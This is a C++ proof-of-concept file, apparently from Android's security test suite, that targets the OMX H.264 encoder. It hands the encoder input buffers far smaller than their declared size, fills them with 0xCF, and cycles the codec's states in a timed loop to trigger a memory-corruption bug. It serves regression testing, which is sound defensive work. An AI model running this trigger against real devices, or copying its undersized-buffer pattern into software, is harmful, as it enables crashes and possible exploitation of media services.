1 /**
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include "stdlib.h"
18 #include "../includes/common.h"
19
20 //This PoC is only for 32-bit builds.
21 #if _32_BIT
22 #include "../includes/omxUtils.h"
23 #include <unistd.h>
24 #include <hidlmemory/mapping.h>
25
26 extern bool mUseTreble;
27 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
28
exit_handler(void)29 void exit_handler(void) {
30 omxUtilsFreeNode();
31 }
32
allocateHidlPortBuffers(OMX_U32 portIndex,Vector<Buffer> * buffers,int BufferSize)33 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
34 int BufferSize) {
35 buffers->clear();
36 OMX_PARAM_PORTDEFINITIONTYPE def;
37 int err = omxUtilsGetParameter(portIndex, &def);
38 omxExitOnError(err);
39
40 for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
41 Buffer buffer;
42 buffer.mFlags = 0;
43 bool success;
44 auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
45 bool s,
46 hidl_memory const& m) {
47 success = s;
48 buffer.mHidlMemory = m;
49 });
50 omxExitOnError(!transStatus.isOk());
51 omxExitOnError(!success);
52 buffers->push(buffer);
53 }
54 return OK;
55 }
56
poc()57 void poc() {
58 int i;
59 Vector < Buffer > inputBuffers;
60 Vector < Buffer > outputBuffers;
61 status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
62 omxExitOnError(err);
63 atexit(exit_handler);
64
65 OMX_PARAM_PORTDEFINITIONTYPE def;
66 omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
67
68 int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
69 int inBufferCnt = def.nBufferCountActual;
70 int inBufferSize = inMemSize / inBufferCnt;
71
72 sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
73 IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
74
75 omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
76
77 int outMemSize = def.nBufferCountActual * def.nBufferSize;
78 int outBufferCnt = def.nBufferCountActual;
79 int outBufferSize = outMemSize / outBufferCnt;
80
81 sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
82 IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
83
84 allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
85 for (i = 0; i < inBufferCnt; ++i) {
86 inBufferId[i] = inputBuffers[i].mID;
87 sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
88 inputBuffers[i].mHidlMemory);
89 memset((void *) mem->getPointer(), 0xCF, inBufferSize);
90 omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
91 }
92
93 allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
94 for (i = 0; i < outBufferCnt; ++i) {
95 outBufferId[i] = outputBuffers[i].mID;
96 omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
97 }
98
99 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
100 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
101
102 for (i = 0; i < inBufferCnt; ++i) {
103 OMXBuffer omxBuf(0, inBufferSize);
104 omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
105 }
106
107 for (i = 0; i < outBufferCnt; ++i) {
108 OMXBuffer omxBuf(0, outBufferSize);
109 omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
110 }
111
112 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
113 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
114
115 for (i = 0; i < inBufferCnt; ++i) {
116 omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
117 }
118
119 for (i = 0; i < outBufferCnt; ++i) {
120 omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
121 }
122
123 omxUtilsFreeNode();
124 return;
125 }
126 #endif
127
main()128 int main() {
129
130 //This PoC is only for 32-bit builds.
131 #if _32_BIT
132 time_t currentTime = start_timer();
133 while(timer_active(currentTime)) {
134 poc();
135 }
136 #endif
137
138 return EXIT_SUCCESS;
139 }
140